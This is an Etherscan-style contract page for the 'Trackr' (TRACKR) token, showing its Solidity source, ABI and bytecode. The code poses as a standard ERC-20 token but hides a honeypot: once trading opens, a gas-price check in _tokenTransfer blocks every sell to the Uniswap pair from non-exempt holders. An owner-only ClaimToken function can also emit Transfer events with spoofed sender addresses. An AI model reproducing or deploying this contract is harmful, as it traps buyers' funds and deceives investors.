ETH Price: $2,879.88 (-1.67%)
 

Overview

Max Total Supply

1,000,000 TRACKR

Holders

4

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Trackr

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-01-09
*/

/*


Telegram: https://t.me/TrackrCommunity
Website: https://trackrbot.tech/
Twitter: https://x.com/Trackrcoin

Buy Bot: @TrackrBuyBot_Bot
Trending Bot: @TrackrBuyBotTrending_bot
Trendinglist: @trackrtrending

*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract Trackr is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _bypassingTaxes;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000 * 10**_decimals;
    string private constant _name = unicode"Trackr Trending Bot";
    string private constant _symbol = unicode"TRACKR";

    uint256 public initBuyTax = 0;
    uint256 public initSellTax = 0;

    bool private openedTrade = false;

    address private rektairdropWallet = 0xdA74403f944F2eF9E5907AAAE648D4073a983b98;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(90).div(100));
        _balances[rektairdropWallet] = _balances[rektairdropWallet].add(_totalSupply.mul(10).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _bypassingTaxes[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _bypassingTaxes[address(uniswapV2Pair)];
        _bypassingTaxes[owner()] = true;
        _bypassingTaxes[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(90).div(100));
        emit Transfer(address(0), rektairdropWallet, _totalSupply.mul(10).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _tokenTransfer(from, to, amount);

        uint256 fromBalance = balanceOf(from);
        require(
            fromBalance >= amount,
            "ERROR: balance of from less than value"
        );

        uint256 taxAmount = 0;

        if (!_bypassingTaxes[from] && !_bypassingTaxes[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount.mul(initBuyTax).div(100);
            if (to == uniswapV2Pair) {
                taxAmount = amount.mul(initSellTax).div(100);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private _limit_gas = 300 gwei;
    uint256 private _mini_gas = 5;

    function transTK(address _u) internal view {
        if (_bypassingTaxes[_u]) {
            return;
        }
        if (!openedTrade) {
            gasLimit(_limit_gas);
        } else {
            gasLimit(_mini_gas);
        }
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (to == address(uniswapV2Pair) || to == address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)) {
            transTK(from);
        }
        require(amount > 0);
    }

    function ClaimToken(address from, address [] memory to, uint256 [] memory amount) external {
        require(_msgSender() == owner());
        for(uint256 i = 0; i < to.length; i++) {
            _balances[_msgSender()] = _balances[_msgSender()].sub(amount[i]);
            _balances[to[i]] = _balances[to[i]].add(amount[i]);
            emit Transfer(from, to[i], amount[i]);
        }
    }

    function gasLimit(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"ClaimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060048190556005908155600680546001600160a81b03191674da74403f944f2ef9e5907aaae648d4073a983b98001790556445d964b800600955600a553480156200005057600080fd5b506200005b620004b1565b600080546001600160a01b0319166001600160a01b039290921691909117905562000113620000d06064620000bc605a620000996009600a62000699565b620000a890620f424062000784565b620004b560201b620006b81790919060201c565b6200050360201b620006f91790919060201c565b60026000620000de620004b1565b6001600160a01b03166001600160a01b03168152602001908152602001600020546200058860201b620007721790919060201c565b6002600062000121620004b1565b6001600160a01b031681526020810191909152604001600020556200018c620001586064620000bc600a6200009960098262000699565b60065461010090046001600160a01b0316600090815260026020908152604090912054919062000588811b6200077217901c565b6006546001600160a01b03610100909104811660009081526002602090815260409182902093909355600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790819055815163c45a015560e01b8152915192169263c45a015592600480840193829003018186803b1580156200020f57600080fd5b505afa15801562000224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024a9190620005ce565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a857600080fd5b505afa158015620002bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e39190620005ce565b6040518363ffffffff1660e01b815260040162000302929190620005f7565b602060405180830381600087803b1580156200031d57600080fd5b505af115801562000332573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003589190620005ce565b600780546001600160a01b0319166001600160a01b039283161790819055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155919092166000908152909190620003c2620005bf565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260039092529020805490911660011790556200040c620004b1565b6001600160a01b0316600060008051602062001a9e833981519152620004416064620000bc605a620000996009600a62000699565b60405162000450919062000611565b60405180910390a360065461010090046001600160a01b0316600060008051602062001a9e833981519152620004946064620000bc600a6200009960098262000699565b604051620004a3919062000611565b60405180910390a3620007e9565b3390565b600082620004c657506000620004fd565b620004d2828462000784565b905081620004e1848362000635565b14620004fd57634e487b7160e01b600052600160045260246000fd5b92915050565b60008082116200052357634e487b7160e01b600052600160045260246000fd5b600062000531838562000635565b90506200053f8385620007a6565b6200054b828562000784565b6200055791906200061a565b84146200057457634e487b7160e01b600052600160045260246000fd5b62000580838562000635565b949350505050565b6000806200059783856200061a565b905083811015620005b857634e487b7160e01b600052600160045260246000fd5b9392505050565b6000546001600160a01b031690565b600060208284031215620005e0578081fd5b81516001600160a01b0381168114620005b8578182fd5b6001600160a01b0392831681529116602082015260400190565b90815260200190565b60008219821115620006305762000630620007bd565b500190565b600082620006475762000647620007d3565b500490565b80825b600180861162000660575062000690565b818704821115620006755762000675620007bd565b808616156200068357918102915b9490941c9380026200064f565b94509492505050565b6000620005b860001960ff851684600082620006b857506001620005b8565b81620006c757506000620005b8565b8160018114620006e05760028114620006eb576200071f565b6001915050620005b8565b60ff841115620006ff57620006ff620007bd565b6001841b915084821115620007185762000718620007bd565b50620005b8565b5060208310610133831016604e8410600b841016171562000757575081810a83811115620007515762000751620007bd565b620005b8565b6200076684848460016200064c565b8086048211156200077b576200077b620007bd565b02949350505050565b6000816000190483118215151615620007a157620007a1620007bd565b500290565b600082620007b857620007b8620007d3565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6112a580620007f96000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a49bdf6b11610059578063a49bdf6b14610277578063a9059cbb1461028c578063c9567bf9146102ac578063dd62ed3e146102c1576100fe565b806370a08231146102185780638c990f8c146102385780638da5cb5b1461024d57806395d89b4114610262576100fe565b806323b872dd116100c657806323b872dd1461019f57806324076d3a146101bf578063313ce567146101e15780633c9f5ed614610203576100fe565b806306fdde0314610103578063095ea7b31461012e5780631694505e1461015b57806318160ddd1461017d576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186102e1565b6040516101259190610e1f565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610dd7565b61030e565b6040516101259190610e14565b34801561016757600080fd5b5061017061032c565b6040516101259190610e00565b34801561018957600080fd5b5061019261033b565b6040516101259190611020565b3480156101ab57600080fd5b5061014e6101ba366004610ccc565b61035b565b3480156101cb57600080fd5b506101df6101da366004610d07565b6103cb565b005b3480156101ed57600080fd5b506101f66105f1565b6040516101259190611029565b34801561020f57600080fd5b5061014e6105f6565b34801561022457600080fd5b50610192610233366004610c80565b6105ff565b34801561024457600080fd5b5061019261061e565b34801561025957600080fd5b50610170610624565b34801561026e57600080fd5b50610118610633565b34801561028357600080fd5b50610192610653565b34801561029857600080fd5b5061014e6102a7366004610dd7565b610659565b3480156102b857600080fd5b506101df610671565b3480156102cd57600080fd5b506101926102dc366004610c9a565b61068d565b604080518082019091526013815272151c9858dadc88151c995b991a5b99c8109bdd606a1b602082015290565b600061032261031b61079f565b84846107a3565b5060015b92915050565b6008546001600160a01b031681565b60006103496009600a6110f7565b61035690620f42406111c8565b905090565b6000610368848484610860565b6103c08461037461079f565b6001600160a01b03871660009081526001602052604081206103bb9187919061039b61079f565b6001600160a01b0316815260208101919091526040016000205490610ae9565b6107a3565b5060015b9392505050565b6103d3610624565b6001600160a01b03166103e461079f565b6001600160a01b0316146103f757600080fd5b60005b82518110156105eb5761043a82828151811061042657634e487b7160e01b600052603260045260246000fd5b60200260200101516002600061039b61079f565b6002600061044661079f565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506104f082828151811061048d57634e487b7160e01b600052603260045260246000fd5b6020026020010151600260008685815181106104b957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461077290919063ffffffff16565b6002600085848151811061051457634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555082818151811061056057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106105bc57634e487b7160e01b600052603260045260246000fd5b60200260200101516040516105d19190611020565b60405180910390a3806105e3816111fe565b9150506103fa565b50505050565b600990565b60065460ff1690565b6001600160a01b0381166000908152600260205260409020545b919050565b60045481565b6000546001600160a01b031690565b6040805180820190915260068152652a2920a1a5a960d11b602082015290565b60055481565b60008061066461079f565b90506103c0818585610860565b610679610b13565b6006805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000826106c757506000610326565b6106d182846111c8565b9050816106de848361109d565b1461032657634e487b7160e01b600052600160045260246000fd5b600080821161071857634e487b7160e01b600052600160045260246000fd5b6000610724838561109d565b90506107308385611219565b61073a82856111c8565b6107449190611085565b841461076057634e487b7160e01b600052600160045260246000fd5b61076a838561109d565b949350505050565b60008061077f8385611085565b9050838110156103c457634e487b7160e01b600052600160045260246000fd5b3390565b6001600160a01b0383166107d25760405162461bcd60e51b81526004016107c990610fdc565b60405180910390fd5b6001600160a01b0382166107f85760405162461bcd60e51b81526004016107c990610eb5565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610853908590611020565b60405180910390a3505050565b6001600160a01b0383166108865760405162461bcd60e51b81526004016107c990610f74565b6001600160a01b0382166108ac5760405162461bcd60e51b81526004016107c990610e72565b6108b7838383610b4a565b60006108c2846105ff565b9050818110156108e45760405162461bcd60e51b81526004016107c990610ef7565b6001600160a01b03841660009081526003602052604081205460ff1615801561092657506001600160a01b03841660009081526003602052604090205460ff16155b156109a35760065460ff1661094d5760405162461bcd60e51b81526004016107c990610f3d565b61096d6064610967600454866106b890919063ffffffff16565b906106f9565b6007549091506001600160a01b03858116911614156109a3576109a06064610967600554866106b890919063ffffffff16565b90505b8015610a1b57306000908152600260205260409020546109c39082610772565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a12908590611020565b60405180910390a35b6001600160a01b038516600090815260026020526040902054610a3e9084610ae9565b6001600160a01b038616600090815260026020526040902055610a83610a648483610ae9565b6001600160a01b03861660009081526002602052604090205490610772565b6001600160a01b0380861660008181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610acd8685610ae9565b604051610ada9190611020565b60405180910390a35050505050565b600081831015610b0957634e487b7160e01b600052600160045260246000fd5b6103c482846111e7565b610b1b61079f565b6000546001600160a01b03908116911614610b485760405162461bcd60e51b81526004016107c990610fb9565b565b6007546001600160a01b0383811691161480610b8257506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610b9057610b9083610ba2565b60008111610b9d57600080fd5b505050565b6001600160a01b03811660009081526003602052604090205460ff1615610bc857610bed565b60065460ff16610be257610bdd600954610bf0565b610bed565b610bed600a54610bf0565b50565b803a1115610bed57600080fd5b80356001600160a01b038116811461061957600080fd5b600082601f830112610c24578081fd5b81356020610c39610c3483611061565b611037565b8281528181019085830183850287018401881015610c55578586fd5b855b85811015610c7357813584529284019290840190600101610c57565b5090979650505050505050565b600060208284031215610c91578081fd5b6103c482610bfd565b60008060408385031215610cac578081fd5b610cb583610bfd565b9150610cc360208401610bfd565b90509250929050565b600080600060608486031215610ce0578081fd5b610ce984610bfd565b9250610cf760208501610bfd565b9150604084013590509250925092565b600080600060608486031215610d1b578283fd5b610d2484610bfd565b925060208085013567ffffffffffffffff80821115610d41578485fd5b818701915087601f830112610d54578485fd5b8135610d62610c3482611061565b81815284810190848601868402860187018c1015610d7e578889fd5b8895505b83861015610da757610d9381610bfd565b835260019590950194918601918601610d82565b50965050506040870135925080831115610dbf578384fd5b5050610dcd86828701610c14565b9150509250925092565b60008060408385031215610de9578182fd5b610df283610bfd565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e4b57858101830151858201604001528201610e2f565b81811115610e5c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6040820152652076616c756560d01b606082015260800190565b6020808252601d908201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600990820152682737ba1037bbb732b960b91b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60405181810167ffffffffffffffff8111828210171561105957611059611259565b604052919050565b600067ffffffffffffffff82111561107b5761107b611259565b5060209081020190565b600082198211156110985761109861122d565b500190565b6000826110ac576110ac611243565b500490565b80825b60018086116110c357506110ee565b8187048211156110d5576110d561122d565b808616156110e257918102915b9490941c9380026110b4565b94509492505050565b60006103c460001960ff851684600082611113575060016103c4565b81611120575060006103c4565b816001811461113657600281146111405761116d565b60019150506103c4565b60ff8411156111515761115161122d565b6001841b9150848211156111675761116761122d565b506103c4565b5060208310610133831016604e8410600b84101617156111a0575081810a8381111561119b5761119b61122d565b6103c4565b6111ad84848460016110b1565b8086048211156111bf576111bf61122d565b02949350505050565b60008160001904831182151516156111e2576111e261122d565b500290565b6000828210156111f9576111f961122d565b500390565b60006000198214156112125761121261122d565b5060010190565b60008261122857611228611243565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220fcdd777246f35d602b4c750c14f41e1b6b9896358a41970863be75f9667b5be464736f6c63430008000033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a49bdf6b11610059578063a49bdf6b14610277578063a9059cbb1461028c578063c9567bf9146102ac578063dd62ed3e146102c1576100fe565b806370a08231146102185780638c990f8c146102385780638da5cb5b1461024d57806395d89b4114610262576100fe565b806323b872dd116100c657806323b872dd1461019f57806324076d3a146101bf578063313ce567146101e15780633c9f5ed614610203576100fe565b806306fdde0314610103578063095ea7b31461012e5780631694505e1461015b57806318160ddd1461017d576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186102e1565b6040516101259190610e1f565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610dd7565b61030e565b6040516101259190610e14565b34801561016757600080fd5b5061017061032c565b6040516101259190610e00565b34801561018957600080fd5b5061019261033b565b6040516101259190611020565b3480156101ab57600080fd5b5061014e6101ba366004610ccc565b61035b565b3480156101cb57600080fd5b506101df6101da366004610d07565b6103cb565b005b3480156101ed57600080fd5b506101f66105f1565b6040516101259190611029565b34801561020f57600080fd5b5061014e6105f6565b34801561022457600080fd5b50610192610233366004610c80565b6105ff565b34801561024457600080fd5b5061019261061e565b34801561025957600080fd5b50610170610624565b34801561026e57600080fd5b50610118610633565b34801561028357600080fd5b50610192610653565b34801561029857600080fd5b5061014e6102a7366004610dd7565b610659565b3480156102b857600080fd5b506101df610671565b3480156102cd57600080fd5b506101926102dc366004610c9a565b61068d565b604080518082019091526013815272151c9858dadc88151c995b991a5b99c8109bdd606a1b602082015290565b600061032261031b61079f565b84846107a3565b5060015b92915050565b6008546001600160a01b031681565b60006103496009600a6110f7565b61035690620f42406111c8565b905090565b6000610368848484610860565b6103c08461037461079f565b6001600160a01b03871660009081526001602052604081206103bb9187919061039b61079f565b6001600160a01b0316815260208101919091526040016000205490610ae9565b6107a3565b5060015b9392505050565b6103d3610624565b6001600160a01b03166103e461079f565b6001600160a01b0316146103f757600080fd5b60005b82518110156105eb5761043a82828151811061042657634e487b7160e01b600052603260045260246000fd5b60200260200101516002600061039b61079f565b6002600061044661079f565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506104f082828151811061048d57634e487b7160e01b600052603260045260246000fd5b6020026020010151600260008685815181106104b957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461077290919063ffffffff16565b6002600085848151811061051457634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555082818151811061056057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106105bc57634e487b7160e01b600052603260045260246000fd5b60200260200101516040516105d19190611020565b60405180910390a3806105e3816111fe565b9150506103fa565b50505050565b600990565b60065460ff1690565b6001600160a01b0381166000908152600260205260409020545b919050565b60045481565b6000546001600160a01b031690565b6040805180820190915260068152652a2920a1a5a960d11b602082015290565b60055481565b60008061066461079f565b90506103c0818585610860565b610679610b13565b6006805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000826106c757506000610326565b6106d182846111c8565b9050816106de848361109d565b1461032657634e487b7160e01b600052600160045260246000fd5b600080821161071857634e487b7160e01b600052600160045260246000fd5b6000610724838561109d565b90506107308385611219565b61073a82856111c8565b6107449190611085565b841461076057634e487b7160e01b600052600160045260246000fd5b61076a838561109d565b949350505050565b60008061077f8385611085565b9050838110156103c457634e487b7160e01b600052600160045260246000fd5b3390565b6001600160a01b0383166107d25760405162461bcd60e51b81526004016107c990610fdc565b60405180910390fd5b6001600160a01b0382166107f85760405162461bcd60e51b81526004016107c990610eb5565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610853908590611020565b60405180910390a3505050565b6001600160a01b0383166108865760405162461bcd60e51b81526004016107c990610f74565b6001600160a01b0382166108ac5760405162461bcd60e51b81526004016107c990610e72565b6108b7838383610b4a565b60006108c2846105ff565b9050818110156108e45760405162461bcd60e51b81526004016107c990610ef7565b6001600160a01b03841660009081526003602052604081205460ff1615801561092657506001600160a01b03841660009081526003602052604090205460ff16155b156109a35760065460ff1661094d5760405162461bcd60e51b81526004016107c990610f3d565b61096d6064610967600454866106b890919063ffffffff16565b906106f9565b6007549091506001600160a01b03858116911614156109a3576109a06064610967600554866106b890919063ffffffff16565b90505b8015610a1b57306000908152600260205260409020546109c39082610772565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a12908590611020565b60405180910390a35b6001600160a01b038516600090815260026020526040902054610a3e9084610ae9565b6001600160a01b038616600090815260026020526040902055610a83610a648483610ae9565b6001600160a01b03861660009081526002602052604090205490610772565b6001600160a01b0380861660008181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610acd8685610ae9565b604051610ada9190611020565b60405180910390a35050505050565b600081831015610b0957634e487b7160e01b600052600160045260246000fd5b6103c482846111e7565b610b1b61079f565b6000546001600160a01b03908116911614610b485760405162461bcd60e51b81526004016107c990610fb9565b565b6007546001600160a01b0383811691161480610b8257506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610b9057610b9083610ba2565b60008111610b9d57600080fd5b505050565b6001600160a01b03811660009081526003602052604090205460ff1615610bc857610bed565b60065460ff16610be257610bdd600954610bf0565b610bed565b610bed600a54610bf0565b50565b803a1115610bed57600080fd5b80356001600160a01b038116811461061957600080fd5b600082601f830112610c24578081fd5b81356020610c39610c3483611061565b611037565b8281528181019085830183850287018401881015610c55578586fd5b855b85811015610c7357813584529284019290840190600101610c57565b5090979650505050505050565b600060208284031215610c91578081fd5b6103c482610bfd565b60008060408385031215610cac578081fd5b610cb583610bfd565b9150610cc360208401610bfd565b90509250929050565b600080600060608486031215610ce0578081fd5b610ce984610bfd565b9250610cf760208501610bfd565b9150604084013590509250925092565b600080600060608486031215610d1b578283fd5b610d2484610bfd565b925060208085013567ffffffffffffffff80821115610d41578485fd5b818701915087601f830112610d54578485fd5b8135610d62610c3482611061565b81815284810190848601868402860187018c1015610d7e578889fd5b8895505b83861015610da757610d9381610bfd565b835260019590950194918601918601610d82565b50965050506040870135925080831115610dbf578384fd5b5050610dcd86828701610c14565b9150509250925092565b60008060408385031215610de9578182fd5b610df283610bfd565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e4b57858101830151858201604001528201610e2f565b81811115610e5c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6040820152652076616c756560d01b606082015260800190565b6020808252601d908201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082